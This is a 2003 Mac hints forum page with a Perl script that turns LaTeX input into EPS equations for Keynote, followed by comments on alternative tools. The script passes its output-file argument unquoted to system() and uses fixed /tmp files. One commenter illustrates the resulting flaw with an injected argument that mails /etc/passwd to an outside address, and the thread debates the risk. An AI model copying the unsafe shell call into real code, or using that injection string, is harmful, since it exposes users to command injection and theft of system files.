Submit Hint Search The Forums LinksStatsPollsHeadlinesRSS
14,000 hints and counting!

Use LaTeX formatted equations in Keynote Apps
Keynote is a fantastic application, but it does lack a good way of getting complex mathematical equations into your presentation.

LaTeX is the perfect application for generating well-typeset equations, but it isn't easy to get the output into Keynote. Here's a script that will help you do this (you may want to install Fink to get LaTeX and the epstopdf command).
#!/usr/bin/perl -w
use strict;

my $equation=' ';

while (<STDIN>) {$equation .= $_}

open (OUT,'> /tmp/eq.tex');
# The next line was broken into two for easier web display
# Enter the two rows as one, and don't enter this comment...
print OUT "\\documentclass{article} \\usepackage{pslatex} \\begin{document}
  \\pagestyle{empty} \$$equation\$ \\end{document}";
close OUT;

system "cd /tmp; latex eq";
system "dvips -E /tmp/eq.dvi -o $ARGV[0]";
unlink '/tmp/eq.tex','/tmp/eq.dvi','/tmp/eq.aux','/tmp/eq.log';
Save this to somewhere like your home directory, calling it keynoteeq or similar, and run chmod u+x keynoteeq in the terminal to make it executable. Then from that directory you can run ./keynoteeq output.eps. Type in the LaTeX code you want (leaving out the surrounding $s or \begin or \end{equation}s - use Google for help on LaTeX), hit Enter and then Contrl-D. The program will save an encapsulated postscript file to output.eps, which you can convert to pdf using epstopdf output.eps. Then just drag and drop the output.pdf file you've created into Keynote.

This could be made even easier if people want - but I'll let someone do that in the comments!

[robg adds: I haven't tested this script...]
    •    
  • Currently 2.50 / 5
  • 1
  • 2
  • 3
  • 4
  • 5
  (4 votes cast)
 
[19,115 views]  

Use LaTeX formatted equations in Keynote | 27 comments | Create New Account
Click here to return to the 'Use LaTeX formatted equations in Keynote' hint
The following comments are owned by whoever posted them. This site is not responsible for what they say.
Use LaTeX formatted equations in Keynote
Authored by: wyvern on Feb 20, '03 10:51:08AM

Why not use the pdflatex command? That might be easier to import into keynote... Frankly, this script seems way too limiting to me. It won't let you use eqnarrays, for instance (though regular arrays will work since they must be run in math mode). But, LaTeX newbies may find it helpful.

Look for Helmut Kopka and Patrick Daly's LaTeX book. It's a good one.



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: EddEdmondson on Feb 20, '03 12:09:34PM

I had trouble getting pdflatex to produce output that wasn't just a line on a big page - did it this way as it was more obvious to me how to do it like this than figure out how to make pdflatex give the right output.

Plus I use .eps files elsewhere anyway (off the Mac)



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: stetner on Feb 20, '03 10:53:27AM

You could combine steps by using pdflatex which produces a pdf directly...



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: Spartacus on Feb 20, '03 10:56:10AM

I got an idea as soon as I heard that the Keynote file format was XML based. It's pretty complicated but could be interesting:

Put LaTeX code between $$...$$ in a keynote presentation and run an XSL transformation on the XML, which will generate:

  • a batch file for a script to generate the equation PDFs
  • a modified Keynote file with the PDFs instead of the code

And voilĂ , all you have to do it move the equations to place them where you like on the page



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: kahless on Feb 20, '03 10:58:53AM

You might also checkout Equation Service http://www.esm.psu.edu/mac-tex/EquationService/ by Doug Rowland. You can use it to typeset LaTex to PDF and paste the PDF to the clipboard for import into Keynote. Here is what Doug said about Keynote and Equation Service on the OS X TeX mailing list.

##
A word about Keynote and Equation Service:
Keynote does not directly support "text to PDF" services. The way services work in Cocoa is that a given service-providing app (e.g. Equation Service) declares which kinds of inputs it can take in and what kinds of outputs it can spit out. Right now Equation Service must take in a string of text, and it can spit out PDF or TIFF. With the "typeset to pasteboard" service, it has a new kind of service that takes in strings and spits out "nothing".

Then, the service-requesting app (e.g. Keynote) sets up a list of services it is willing to support. For example, many Cocoa apps support "send string, receive string" (ala CalcService) and "send string, receive nothing" (ala GoogleSearch). Keynote does not currently support "send string, receive PDF". It does, however, support "send string, receive nothing", which means it works with the new "typeset to pasteboard" service.

Keynote also does not support arbitrary placement of graphics inside text boxes. Right now, to include graphics inside a "text box" you have to use tables or bullets, both of which have some limitations. I have sent an email to the Keynote development team describing the changes they could make to help Equation Service integrate more smoothly, and they have responded with moderate interest. It might be a lot of work for them, though, so in the meantime the "typeset to pasteboard" works well enough.
##



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: Garin on Feb 20, '03 01:15:02PM

The developer's release (0.5B) of Equation Service supports drag'n'drop of the typeset equation (or whatever else). From the main window of the application, enter in an equation. Typeset it, and then drag it over into your presentation.

Uncheck the "use color" option, and it'll create a nice transparent equation.



[ Reply to This | # ]
minimal install?
Authored by: SOX on Feb 20, '03 04:18:07PM

I dont want to install any teX packages since I already have one (thanks to fink). so what is the minimal install I need to do to get pdflatex?



[ Reply to This | # ]
minimal install?
Authored by: SOX on Feb 20, '03 04:18:14PM

I dont want to install any teX packages since I already have one (thanks to fink). so what is the minimal install I need to do to get pdflatex?



[ Reply to This | # ]
minimal install?
Authored by: VEGx on Feb 20, '03 07:01:22PM

IF YOU HAVE (LA)TEX VIA `FINK' YOU ALREADY HAVE IT!!!!



[ Reply to This | # ]
minimal install?
Authored by: SOX on Feb 20, '03 10:33:13PM

um nope. I had it with an older version of fink. the new one does not seem to have it or at least I cant find it. I suspect it was in the tetex bunlde but that's obsolete in the recent version of TeX on fink. any suggestions?



[ Reply to This | # ]
minimal install?
Authored by: ashill on Feb 21, '03 01:12:33PM

sudo apt-get install pdftex

pdflatex is a separate fink package that requires TeX to be present, but is not included with the default fink install of the TeTeX package.

-Alex Hill



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: SOX on Feb 20, '03 05:16:47PM

very frustrating trying to install pdflatex. you have to go through this whole Iisntaller interface that then complains its missing base packages. How does one just install pdflatex?



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: KM on Feb 20, '03 11:11:18AM

This script has a security issue. You are blindly passing $ARGV[0] to a system command. And, you better hope that if this is run in a shared environment, no one has symlinked (or hard linked) the /tmp/eq.* files to something else.. so 2 possible security risks if this is run in a multiuser environment.



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: EddEdmondson on Feb 20, '03 12:06:45PM

That /tmp/ stuff is a fair comment. I was aware of the ARGV thing but I wouldn't call that a security problem myself. Just did this to get stuff working and was hoping someone here would make it nicer.

Incidentally now I've changed my version to drop the $s etc., and also I just use EquationService now anyway! Far better.



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: KM on Feb 20, '03 04:50:48PM
You don't consider something like this a security issue? This is essentially what your code does:

system("echo $ARGV[0]");

Now, if the script was named foo.pl and called like:

foo.pl ";mail me@me.com

[ Reply to This | # ]

Use LaTeX formatted equations in Keynote
Authored by: KM on Feb 20, '03 04:53:38PM
(Sorry for reposting this, the > was un-entitized when I previewed and cut off some of post.. seems like a bug) You don't consider something like this a security issue? This is essentially what your code does:

system("echo $ARGV[0]");

Now, if the script was named foo.pl and called like:

foo.pl ";mail me@me.com < /etc/passwd"

I'd get your passwd file. Or, perform whatever (multiple) shell functions I can with the permissions of the script. That's a security issue, and a basic one. I appreciate that you posted a hint, don't get me wrong... but too many times people take code from hint sites and use them, not knowing the danger that can be caused. Code with glaring security holes shouldn't be posted.. in my opinion :)

[ Reply to This | # ]

Use LaTeX formatted equations in Keynote
Authored by: EddEdmondson on Feb 20, '03 06:28:06PM

The reason I don't consider that a security issue is that if you've got access to perl and the command prompt anyway you can just get the file without faffing around with my script.

Sure it's a bad idea but it doesn't give an attacker any extra abilities they don't already have - unlike your point about tmp. Unless I'm missing something very obvious in which case I'll accept your point. I tend to just write this sort of thing for my own use, and like I said would let other people fix bugs etc. in comments.



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: mithras on Feb 21, '03 11:53:44AM

That would be a security issue IF the script were being called from the Web or an unprivileged environment.

But your example would require the user to be able to run the command on the Mac anyway. Why call the script, if you can just run "mail me@my.com < /etc/passwd" directly?

Consider what is wrong with this statement: the 'sh' program is a HUGE security hole! It will just run willy-nilly any command you pass to it!

---
--
<a href="http://mithras.homeunix.net/downloads">my free OS X applications and scripts</a>



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: KM on Feb 21, '03 01:54:14PM

You people are missing the point. The script is being posted on a "hints" site, and it is not secure. If it is on a multi-user environment, it can be dangerous. This isn't rocket science, it is Security 101. Posting insecure scripts on a 'hints' site is plain wrong. Period.



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: nr on Feb 20, '03 08:15:22PM

Yes, lookout! You may allow someone to gain the privledges they already have!!



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: KM on Feb 21, '03 01:56:46PM

No, not at all. They can gain whatever privlages the script will allow them to have. Are you people all ex-Windows users or something? You really don't understand secuirty.

Flame me all you want, but you guys need to get a clue.



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: nr on Feb 21, '03 04:47:12PM

Well, the only way you'd get other peoples privledges is if this script was SUID. Why would it be SUID? Why would you rant so long about this, just incase someone decides to run it SUID?



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: KM on Feb 21, '03 06:10:05PM

Because it is poor progamming! Get a clue man.



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: nr on Feb 23, '03 02:30:44AM

*laugh*



[ Reply to This | # ]
Using pdflatex won't work.
Authored by: rhetland on Feb 20, '03 01:50:29PM

There have been a few suggestions to use pdflatex, which directly produces a pdf document. There is a problem with this: pdflatex will always produce a paper size document. This may be modified in the preamble, but it will be hard to get a page that exactly fits any equation.

epstopdf produces an 'encapsulated' pdf file, which is exactly what is wanted here. Note that running epstopdf could easily be appended to the script included.

I suggest using convert (an ImageMagik tool) to convert the eps to a gif file. This way, you can change the background to transparent, and your equation will look like the other text. An example of using convert (the -den flag sets the sampling in dpi):

convert -den 300 -transparency white equation.eps equation.gif



[ Reply to This | # ]
even easier
Authored by: SOX on Feb 20, '03 04:23:17PM

fink has a command called
tex2im
which takes any equation in latex syntax and converts it to a graphic image.
the URL describing the application is
http://www.nought.de/tex2im.php
combine this with the convert utility to get a transparent output.



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: ErikVdG on Oct 28, '13 05:27:44AM

I have very happily used LaTexIt together with Keynote: drag'n'drop --- dead easy.

Until I upgraded to Keynote 6 (under Maverick): it doesn't work anymore.

Anyone has the same experience? Or even better, anyone have the solution?



[ Reply to This | # ]